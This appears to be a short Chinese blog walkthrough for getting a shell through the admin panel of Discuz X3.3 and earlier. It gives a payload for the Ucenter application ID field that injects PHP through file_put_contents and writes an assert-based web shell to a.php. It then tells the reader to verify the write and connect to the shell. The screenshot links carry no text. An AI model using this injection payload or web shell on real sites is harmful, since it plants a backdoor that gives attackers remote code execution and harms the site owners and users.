Contents

discuz 后台 getshell

Contents

适用于 Discuz X3.3 及之前版本

站长 - Ucenter 设置 - Ucenter 应用 ID

http://exp10it-1252109039.cossh.myqcloud.com/2017/12/17/1513512699.jpg

填入代码

123');file_put_contents('a.php','<?php assert($_POST[a])?>');//

保存

本地查看 config_ucenter.php

http://exp10it-1252109039.cossh.myqcloud.com/2017/12/17/1513512701.jpg

访问 /config/config_ucenter.php

http://exp10it-1252109039.cossh.myqcloud.com/2017/12/17/1513512703.jpg

空白

file_put_contents 执行成功

http://exp10it-1252109039.cossh.myqcloud.com/2017/12/17/1513512704.jpg

连接 a.php

http://exp10it-1252109039.cossh.myqcloud.com/2017/12/17/1513512707.jpg